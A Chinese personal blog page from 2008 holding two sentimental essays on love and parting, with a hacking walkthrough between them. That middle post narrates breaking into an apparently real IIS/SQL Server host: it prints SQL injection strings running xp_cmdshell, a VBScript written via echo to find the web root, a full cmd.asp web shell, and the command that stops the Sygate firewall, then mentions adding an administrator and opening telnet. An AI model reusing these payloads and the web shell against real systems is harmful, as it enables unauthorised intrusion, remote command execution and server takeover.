  许多在恋爱中的人会迷失自己,找不到自己,有的人聪明地把自己藏在爱情背后,可是却是收获满怀的温馨与幸福。有的人为了爱人愿意付出自己的生命,为了她可以不要全世界,还是有他陪伴着的日子天天永恒?如果说杰克死后,露丝也跟着沉到海底,那么就没有了那感人至深、赚了我无数的泪水的泰坦尼克号。爱情的意义不是让一个人为另一个人牺牲,而是两个人共同付出,彼此幸福。

  不要为了一个人而活,一个人去承担两个人的爱情是很痛苦的,只有两颗心去真心经营爱情,那才是真正的爱情。在爱情的世界里没有真正的幸福,也不会有什么永恒的快乐,毕竟人都是有感情的,有七情六欲,总有太多的现实让你无法不顾爱情,你我只是尘世中的一员,又怎么可能不顾人家和朋友的眼光,不顾家人和朋友的心情,不顾别人的感受去爱,去追逐?也许你会在她离开的时候难过伤心,但是总比失去自己的灵魂好。因为没有人会陪你一辈子的……

  如果你真的爱一个人,那个人便会在你最想忘记的时候出现在你的心里,会在你最难过最失落的时候出现在你的心里,可是你却想了又想却无法确定是否要告诉他你现在的感受,你现在的苦恼,因为你在乎她的感受,在乎她的想法。可是有时候越是在乎就越容易失去,越容易让自己受伤。难道这就是爱吗?这种爱是很痛苦的,就像我一样,爱情也不要像手里的泥土越抓紧,就容易流下来,最后剩下的只是少之又少的尘埃。如果爱也这样,越是爱,越容易失去,那么我们是否要保持一定的距离,心灵的距离?可是那样,我们之间的交集又会在哪里呢?那些浑然天成的交集,错过多可惜。我们总在等待着,那些幸福的脚印,当你再回头的时候她已经消失了,原来幸福是在前方的。

  自己付出了,就不要后悔失去了那份感情,没有一个人一生只谈恋爱不做其他事情,也许就在你转身的时候,她离开了你,这样的事情是无法避免的,每天都在发生。不要相信那些爱情小说,因为我们是生活在现实中。
现实与理想总是相差太大,面对今天的现实我……无语……

二月 19th, 2008

Posted In: 未分类

扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍唉还是一样的结果,看来管理员也不算笨啊!

检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用说咯.

分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东有一个查询系统输入单引号试试,返回错误类型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 30 行
看来运气也不算太坏嘛……..应该有sql注入的毛病………
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK
的确可以正确提交哟返回如下:

if request.form("xsxm")="" and request.form("xsxh")="" then
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤特殊符号也不行的),当然也可以看出数据库使用的sa来连接的! (Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ’iisreset /reboot'或是xp_cmdshell ’ping 你.的.I.P’,如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)

好了通过上面的分析我们可以做什么呢: 通过在web页以管理员的身份来执行系统命令(不过没有回显的) 如果是一般的系统主机简单了xp_cmdshell ’net user …..’我就不写了但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三以前通常只要开个139/445/135就可以远程管理了不过现在不行.

我的思路:
1)找到web目录的路径
2)写入一个简单的cmd.asp用来找到防火墙的具体名字
3)通过xp_cmdshell来关闭防火墙服务

具体实现:

第一步明显是最难的咯 我本来打算用adminScripts里面的建web站的方式建一个我自已的可执行目录的
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的 a’;exec master..xp_cmdshell ’cmd /c cScript c:inetpubadminscripsadsutil.vbs enum w3svc/1/root>a.txt’;– 是不是很长啦 通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中对于a.txt的实际位置默认当然是c:winntsystem32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)

第二步:用echo命令写下面的代码到c:中,很多吗也不算吧[code]

…..xp_cmdshell ’echo set fso1=createobject("Scripting.filesystemobject")>c:read.vbs’;–
…..xp_cmdshell ’echo Set WshShell = WScript.CreateObject("WScript.Shell")>>c:read.vbs’;–
…..
——————-read.vbs———————————
set fso1=createobject("Scripting.filesystemobject")
Set WshShell = WScript.CreateObject("WScript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "system32aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"dd.asp",2,true)
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>" [/code]
第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯执行http://x.x.x.x/dd.asp返回:d:xxx 看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)

第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器 所以管理员就没有禁止了[code]

————————–cmd.asp——————————
<%On Error Resume Next Set oScript = Server.CreateObject(""WScript.SHELL"") Set oScriptNet = Server.CreateObject(""WScript.NETWORK"") Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"") If (szCMD <> """")Then
szTempFile = ""C:" & oFileSys.GetTempName()
Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>

"" method=""POST"">
"">
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>

-----------------------cut here-------------------------------- [/code]

第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了e:progra~1sygatespf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp 里执行echo readme.txt不就明白了)

第六步:关闭sygate的防火墙
a’;exec master..xp_cmdshell ’net stop smcservice’;--
(smcservice是sygate防火墙的服务名)

第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了

第八步:添加系统管理员打开telnet............

唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧....... 比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet ....当然你也可能想得到更简单的办法就是猜web站点的实际目录......

二月 19th, 2008

Posted In: 未分类

这几天很乱,或许只能一个人用酒来麻醉自己,要走了,你可怎么办,最合不得也放不下的就是你,想起以前我们过的是多么开心,现在只能是有时间才可以见见你,网上只能看着你还有时亮着的图标,很晚很晚才会下线,或许看着你亮着的图标都成了依赖,因为这样我知道你在玩游戏,或是和朋友在聊天,可现在要离开了,你的小姐妹也都回家了,就你一个可怎么办,你还是那么任性,没有朋友在身边才是我最担心的,也好希望你能过的很开心,也好希望能在这里陪你,今天写好了工作计划和辞职申请,但我放在桌子里没有交上去,我知道这一走可能在也见不到你,只要有机会我还会在来看你,好好保重。

二月 18th, 2008

Posted In: 未分类

下一页 »

无觅相关文章插件,快速提升流量